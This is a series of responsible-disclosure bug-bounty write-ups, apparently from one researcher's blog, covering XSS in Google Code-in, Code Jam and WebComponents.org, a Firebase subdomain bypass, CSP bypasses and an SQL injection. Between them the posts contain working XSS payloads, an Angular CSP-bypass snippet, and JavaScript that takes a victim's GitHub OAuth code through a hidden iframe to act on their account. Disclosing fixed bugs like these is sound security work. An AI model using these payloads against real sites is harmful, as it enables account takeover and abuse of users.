XSSing Google Code-in thanks to improperly escaped JSON data

Google Code-in is an online programming competition for students hosted by Google that takes place every year.

When I was signing up for a second time, I put a payload into all the text fields. I didn’t expect anything to happen, but when I clicked the submit button, all the payloads were executed. And the payloads continued executing on every page I visited. This alone didn’t mean much as it would only classify as an Self-XSS, but meant that this didn’t have to be the only place it was unescaped. I submitted this bug to the support email and also to Google VRP in case it turns out to be a real issue.

In Google Code-in you can submit tasks for review and also can add comments to them. And as usual, I put the payload in the comment. Surprisingly, when I added the comment, the payload worked once again. And it stayed there even after I reloaded the page. I sent an update to Google and they fixed it the following day.

Now let’s take a look what happened with the payload.

They used script elements with type application/json generated on backend to pass user data to the client-side.

<script type="application/json">
{"someData": true, "text": "hello world", "user": 123}

In the comment and other fields I used a simple payload like this:

"'><script src=x></script>{{1-1}}

When a new comment is sent, it’s also added to the JSON object which holds the comments of a task as well as some other data.
So when the comment was added, the JSON would look something like this:

<script type="application/json">
        "someData": true,
        "comments": [{
            "id": 123,
            "text": "\"'><script src=x></script>{{1-1}}"

As you can see, the double quote is escaped correctly and it’s a perfectly valid JSON.
Except… they forgot to escape one important thing.

As written in the HTML4 documentation:

The first occurrence of the character sequence “</” (end-tag open delimiter) is treated as terminating the end of the element’s content. In valid documents, this would be the end tag for the element.

This means as soon as the HTML parser sees </script>, it assumes it is the end of that element.

Google Code-in XSS


We get even more info in the appendix of the documentation:

When script or style data is the content of an element (SCRIPT and STYLE), the data begins immediately after the element start tag and ends at the first ETAGO (“</”) delimiter followed by a name start character ([a-zA-Z]); note that this may not be the element’s end tag. Authors should therefore escape “</” within the content.


How to prevent this from happening, from the chapter Restrictions for contents of script elements:

The easiest and safest way to avoid the rather strange restrictions described in this section is to always escape “<!--” as “<\!--“, “<script” as “<\script“, and “</script” as “<\/script” when these sequences appear in literals in scripts (e.g. in strings, regular expressions, or comments), and to avoid writing code that uses such constructs in expressions. Doing so avoids the pitfalls that the restrictions in this section are prone to triggering: namely, that, for historical reasons, parsing of script blocks in HTML is a strange and exotic practice that acts unintuitively in the face of these sequences.


This still wouldn’t be enough to get a working XSS on the page (in modern browsers) since they have set up content security policy, which I wrote about bypassing it in a separate article. In a nutshell, CSP allows you to whitelist allowed sources of scripts, styles, and other resources to mitigate XSS attacks. This means a <script> element just like that wouldn’t be able to get through CSP and therefore wouldn’t be executed.

Fortunately, Google Code-in uses Angular on their frontend. This means CSP doesn’t apply to it. Expressions like {{1-1}} get easily evaluated (one example is XSS in McDonalds.com). Since Angular 1.6, Google removed the expression sandbox completely, which means we can access the document with no problem just like this:



Now we have a working payload that gets executed every time someone (in this case mentors or site admins) open the comments page.



30.10.2018: Vuln reported
31.10.2018: Fixed (by the dev team)
01.11.2018: Closed
21.11.2018: Reopened and accepted, Priority changed to P2
11.12.2018: Reward issued
12.12.2018: Marked as fixed


Follow me on Twitter: @ThomasOrlita


More articles:
Bypassing Firebase authorization to create custom goo.gl subdomains
How to use Google’s CSP Evaluator to bypass CSP
Reflected XSS in Google Code Jam
Stored XSS in WebComponents.org
Stored Angular XSS in Mall.cz


< back to the list of web vulns



Bypassing Firebase authorization to create custom goo.gl subdomains

Since the support of goo.gl has already ended, I’ve been looking for ways to shorten URLs using Google services.

Some time ago I’ve found a bug that allowed me to shorten links using Google’s official g.co shortener.

This time I took a look at Firebase Dynamic Links.

They work by allowing you to create short URLs on either *.app.goo.gl or *.page.link subdomains. Before app.goo.gl subdomains in Firebase were discontinued, there was a random generated app.goo.gl subdomain for each Firebase project, something like i63lqb.app.goo.gl. It could also be accessed via goo.gl/app/i63lqb/ourLink (= i63lqb.app.goo.gl/ourLink), but it doesn’t seem to work anymore.

You could also create four more *.page.link subdomains, but this time you could choose your own subdomain.

When I was setting up a new subdomain I noticed an interesting API call.


This returned an “OK” response in case the subdomain I wanted to create was both valid and not already in use.

In case it was “OK”, the “Create” button was enabled and I was able to create it. Otherwise it showed an error.

Once I clicked the button to create it, another API call was fired, this time to:


also containing desired subdomain in it’s body.

If I let the POST call thru, it would successfully add the subdomain to my project.

But let’s go back to the last API call. Since we know there are two types of domains we can use to shorten links in Firebase, let’s try to replace the value of the domainUriPrefix parameter from page.link with app.goo.gl.

Surprisingly, this actually worked and an *.app.goo.gl subdomain was added and could be used in the project.

Since custom *.app.goo.gl subdomains like maps.app.goo.gl or news.app.goo.gl are used only for official products by Google and can (should) by registered only by them.

This leaves us with the following attack scenario:

A regular user can create custom subdomains on app.goo.gl via the Firebase Console. This should be possible to do only by Google.



10.08.2018: Vuln reported
13.08.2018: Priority changed to P1
14.08.2018: Accepted
22.08.2018: Fixed


Follow me on Twitter: @ThomasOrlita


More articles:
How to use Google’s CSP Evaluator to bypass CSP
Reflected XSS in Google Code Jam
Stored XSS in WebComponents.org
Stored Angular XSS in Mall.cz
Angular XSS vulnerability in McDonalds.com


< back to the list of web vulns


How to use Google’s CSP Evaluator to bypass CSP

You know that feeling when you discovered an XSS only to find out there’s an active CSP that blocks execution of any scripts?
If you want it to work on all browsers, not just IE (which doesn’t support CSP), there’s still a chance to bypass it!

Use Google’s CSP Evaluator to find ways to bypass CSP on websites using Angular libraries or JSONP endpoints.


It’s a really powerful and simple to use tool that helps you evaluate how effective these restrictions are,
useful for both website owners to improve security of their website and for bug hunters to find these flaws.

Also available as a Chrome Extension.

You can either paste the target URL or the CSP itself (which is in the content-security-policy header) into the textbox,
and it will evaluate potential problems in the CSP.

If we enter https://codejam.withgoogle.com/2018/ as our example URL, multiple errors appear:

We can see it found two high severity finding.

The first one is that *.google-analytics.com hosts JSONP endpoints, that would allow us to bypass the CSP.

The second one is about *.gstatic.com allowing us to load angular.js.
That means we would be able to load and use Angular and simply bypass the CSP.
This is how it could be done:

<script src="https://www.gstatic.com/fsn/angular_js-bundle1.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1)>


You can check out this list of known JSONP, Flash and Angular bypasses on Google’s GitHub page, and add new bypasses to the list:

CSP Evaluator is an open source project by Google, the source code can be found on GitHub:

UselessCSP.com is listing CSP flaws in many popular websites.

Read more about how CSP works in this Google Developers article: Content Security Policy


Follow me on Twitter: @ThomasOrlita


More articles:
Reflected XSS in Google Code Jam
Stored XSS in WebComponents.org
Stored Angular XSS in Mall.cz
Angular XSS vulnerability in McDonalds.com
List of web vulnerabilities I found


Reflected XSS in Google Code Jam



Information about this XSS:

The XSS will be fired in the toast message.

Also, it seems like you have to open the homepage (https://codejam.withgoogle.com/2018/challenges/) at least once before visiting other pages there.


Due to CSP, this XSS will fire only in browsers where it’s not supported (i.e. IE).

If we could somehow find a way to execute a script that has inserted dynamically, we could bypass (thanks to gstatic.com) the CSP using the following payload. But I don’t think it’s possible in this case.

<script src="https://www.gstatic.com/fsn/angular_js-bundle1.js"></script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1)>

Read more about bypassing CSP in my other post.

Attack scenario:

Attacker can get access to victim’s CodeJam account, for example read and edit his profile information (address, phone number, etc).

Here’s an example of how it could be done:

// go to profile page

  // change the username
  document.querySelector('#nickname').value = 'mynickname111';
  // create a fake input event 
  var event = document.createEvent("Event");
  event.initEvent('input', false, true); 
  // submit the form



29.08.2018: XSS reported
30.08.2018: Accepted
05.09.2018: Fixed


Follow me on Twitter: @ThomasOrlita


More articles:
XSSing Google Code-in thanks to improperly escaped JSON data
Bypassing Firebase authorization to create custom goo.gl subdomains
How to use Google’s CSP Evaluator to bypass CSP
Stored XSS in WebComponents.org
Stored Angular XSS in Mall.cz


< back to the list of web vulns


Liking GitHub repositories on behalf of other users — Stored XSS in WebComponents.org



Steps to reproduce:

1. Create a Polymer element and publish it to github
2. Set the repo homepage URL to: javascript:alert(document.domain)
3. Publish it via https://www.webcomponents.org/publish
4. Go to the element’s webcomponents.org page and click the homepage link




What’s can you do with this XSS:

It’s possible, if the user has authenticated using github on webcomponents.org before, to get the github auth code and use it to star any public github repo behalf of the user.

It would work like this:
– create an iframe with the github auth URL, and if the user is already authenticated, it redirects us to webcomponents.org and it will have the auth code in the url as ?code=123 (and we can access the iframe cause it’s the same domain)
– use the code to post a request to webcomponents.org‘s api to star a github repo using the user’s account

Here’s an example:

// create an iframe with github authorization url
// that redirects us back to webcomponents.org
var iframe;
iframe = document.createElement('iframe');
iframe.src = 'https://github.com/login/oauth/authorize?client_id=54fc42e15038794b7011&scope=public_repo&redirect_uri=https://www.webcomponents.org/element/ThomasOrlita/test2';
iframe.style.display = 'none';

// just wait some time till it's loaded and redirected
setTimeout(() => {
  // get the url that contains the authorization code from the iframe
  var url = new URL(iframe.contentWindow.location.href);
  var code = url.searchParams.get("code");

  // the github repo we want to star
  var repo_to_star = 'kelseyhightower/nocode';

  // make a post request using the code
  fetch('/api/star/' + repo_to_star + '?code=' + code, {
    method: 'POST'

}, 5000);



12.08.2018: XSS reported
16.08.2018: Added more info
20.08.2018: Accepted
22.08.2018: Fixed

< back to the list of web vulns


Stored Angular XSS in Mall.cz



Problems: XSS (stored)
Reward: None
Fixed: Yes

< back to the list of web vulns


SQLi at Maxon

Vulnerable URL: https://reg.maxon-campus.net/login/forgotpassword.php

If you enter ‘ (a single quote) into the input field, it’ll show:

query failed1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ””’ at line 1



Problems: SQLi
Reward: None
Fixed: Yes

< back to the list of web vulns


Easy way to auto-refresh POP3 accounts in Gmail every 5 minutes

► IFTTT: https://ifttt.com

► IFTTT Applet: https://ifttt.com/applets/77548998d-i…

► Feed URL: http://lorem-rss.herokuapp.com/feed?u…

► Email address format:

► Email title: mailchecker_DELETETHIS

► Body: POP3 mailchecker_DELETETHIS from ifttt.com

► Gmail filter: to:(mailchecker_DELETETHIS@yourDomainName.com)


Zhiyun Smooth Q – Video Footage Comparison


Angular XSS vulnerability on McDonalds.com

I reported this vulnerability on https://www.openbugbounty.org/reports/608322/

Previous fixed vulnerabilities on mcdonalds.com:


< back to the list of web vulns